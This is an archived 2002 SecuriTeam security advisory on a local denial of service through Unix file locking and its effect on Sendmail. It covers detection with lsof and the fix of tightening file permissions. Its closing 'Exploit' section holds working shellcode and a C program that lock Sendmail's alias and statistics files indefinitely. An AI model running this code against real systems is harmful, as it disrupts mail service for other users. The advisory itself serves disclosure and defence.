

[UNIX] File Locking Local Denial of Service (Sendmail's Impact)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-05/0103.html>

From: support@securiteam.com

Date: 05/26/02

From: support@securiteam.com

To: list@securiteam.com

Date: Sun, 26 May 2002 08:58:01 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

File Locking Local Denial of Service (Sendmail's Impact)

SUMMARY

Any application which uses either flock() or fcntl() style locking or other APIs that use one of these locking methods (such as open() with O_EXLOCK and O_SHLOCK) on files readable by other local untrusted users may be susceptible to local denial of service attacks.

Since this attack requires a user to use their own account to lock a file, it is extremely easy to find the user responsible. In all likelihood, users would not be foolish enough to use this type of denial of service.

DETAILS

Both locking types allow users who can open a file to apply a shared (read) lock on that file. This prevents any other process from obtaining an exclusive (write) lock on that file.

Additionally, the flock() method allows users to obtain exclusive locks on files which they can open for reading. fcntl() locks require the file to be opened for writing which offers somewhat better protection. While a process holds an exclusive lock on a file, no other process can obtain an exclusive or shared lock on that file.

Securiteam: [UNIX] File Locking Local Denial of Service (Sendmail's Impact)

Although both flock() and fcntl() locks are advisory, their use to avoid data corruption makes them essentially compulsory for many programs.

Detection:

The process holding locks can be found using tools that read process file descriptor tables. One such tool is lsof, available from:

[<ftp://vic.cc.purdue.edu/pub/tools/unix/lsof/>](ftp://vic.cc.purdue.edu/pub/tools/unix/lsof/)
<ftp://vic.cc.purdue.edu/pub/tools/unix/lsof/>

With this tool, you can find the process or processes holding a shared or exclusive lock on a file:

```
# lsof /etc/settings
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
lockit 25472 badguy 3rW VREG 116,131072 1841 292 /etc/settings
```

In this example, user "badguy"'s lockit process (PID 25472) has /etc/settings opened for 'r'eading and has obtained an exclusive ('W'rite) lock as shown by the FD column. If this were an attack, the administrator could kill the offending process to drop the lock.

Workaround:

Since both locking methods are susceptible to a denial of service attack, simply switching to fcntl() based locking on all systems would not solve the problem. However, as long as a user cannot open a file, they cannot lock it. Therefore, the workaround is to protect all files that are locked by applications such that they cannot be opened by untrusted users.

Sendmail File Locking:

File locking is used throughout Sendmail for a variety of files including aliases, maps, statistics, and the PID file. Any user who can open one of these files can prevent Sendmail or its associated utilities, e.g., makemap or newaliases, from operating properly. This can also affect Sendmail's ability to update status files such as statistics files. For system which use flock() for file locking, a user's ability to obtain an exclusive lock prevents other Sendmail processes from reading certain files such as alias or map databases.

You can determine which locking system is used by Sendmail from the output of:

```
Sendmail -bt -d0.10 < /dev/null | grep HASFLOCK
```

If HASFLOCK is in the output, your system is using flock() for locking. Otherwise, it is using fcntl() for locking. On the following operating systems, Sendmail uses flock() by default:

SunOS 4, Ultrix, Tru64 UNIX 4.X and earlier, NeXTstep, Darwin, Mac OS X, Mach386, Convex OS, RISC/OS, Linux 1.3.95 and later, Sony NEWS, and all BSD-based systems

On all other operating systems, Sendmail uses fcntl() for locking by default.

Securiteam: [UNIX] File Locking Local Denial of Service (Sendmail's Impact)

Since queue files should already have restricted permissions, the only files that need adjustment are alias, map, statistics, and PID files. These files should be owned by root or the trusted user specified in the TrustedUser option. Changing the permissions to be only readable and writable by that user is sufficient to avoid the denial of service. For example, depending on the paths you use, these commands would be used:

```
chmod 0640 /etc/mail/aliases /etc/mail/aliases.{db,pag,dir}
chmod 0640 /etc/mail/*.{db,pag,dir}
chmod 0640 /etc/mail/statistics /var/log/Sendmail.st
chmod 0600 /var/run/Sendmail.pid /etc/mail/Sendmail.pid
```

If /var/run/ is cleared on reboots, you will need to place the last chmod command for the PID file in the Sendmail startup script after Sendmail is started.

If the permissions 0640 are used, be sure that only trusted users belong to the group assigned to those files. Otherwise, files should not even be group readable.

Note that the denial of service on the plain text aliases file (/etc/mail/aliases) only prevents newaliases from rebuilding the aliases file. The same is true for the database files on systems which use fcntl() style locking. Since it does not interfere with normal operations, sites may choose to leave these files readable. In addition, it is not necessary to protect the text files associated with map databases as makemap does not lock those files.

Sendmail 8.12.4 will change the default permissions for newly created map and alias database files to mode 0640. In addition, the installation process will create the statistics file with mode 0600 if it does not already exist. Finally, the PID file will be created with mode 0600 as well. A future version of Sendmail will introduce a feature to limit the amount of time spent waiting for a file lock.

Exploit:
Shellcode:
/*

FreeBSD Sendmail DoS shellcode that locks /etc/mail/aliases.db
Written by zillion (at <http://www.safemode.org> && <http://www.snosoft.com>)

More info: <http://www.Sendmail.org/LockingAdvisory.txt>

*/

```
char shellcode[] =
    "\xeb\x1a\x5e\x31\xc0\x88\x46\x14\x50\x56\xb0\x05\x50xcd\x80"
    "\x6a\x02\x50\xb0\x83\x50xcd\x80\x80\xe9\x03\x78\xfe\xe8\xe1"
    "\xff\xff\xff\x2f\x65\x74\x63\x2f\x6d\x61\x69\x6c\x2f\x61\x6c"
    "\x69\x61\x73\x65\x73\xe6\x64\x62";
```

Securiteam: [UNIX] File Locking Local Denial of Service (Sendmail's Impact)

```
int main()
{

    int *ret;
    ret = (int *)&ret + 2;
    (*ret) = (int)shellcode;
}
```

Exploit code:

```
#include <fcntl.h>
#include <unistd.h>
```

```
/*
```

Stupid piece of code to test the Sendmail lock vulnerability on FreeBSD. Run this and try Sendmail -t on FreeBSD for example.

More info: <http://www.Sendmail.org/LockingAdvisory.txt>

zillion (at safemode.org && snosoft.com)

<http://www.safemode.org>

<http://www.snosoft.com>

```
*/
```

```
int main() {

    if(fork() == 0) {

        char *lock1 = "/etc/mail/aliases";
        char *lock2 = "/etc/mail/aliases.db";
        char *lock3 = "/var/log/Sendmail.st";

        int fd;
        fd = open(lock1,O_RDONLY);
        flock(fd,0x02);

        fd = open(lock2,O_RDONLY);
        flock(fd,0x02);

        fd = open(lock3,O_RDONLY);
        flock(fd,0x02);

        /* We are here to stay! */

        for(;;) {}

    }
}
```

ADDITIONAL INFORMATION

Securiteam: [UNIX] File Locking Local Denial of Service (Sendmail's Impact)

The information has been provided by <mailto:dotslash@sno soft.com> KF.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- *Previous message:* support@securiteam.com: "[NEWS] CBOS – Improving Resilience to Denial-of-Service Attacks"
 - *Messages sorted by:* [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)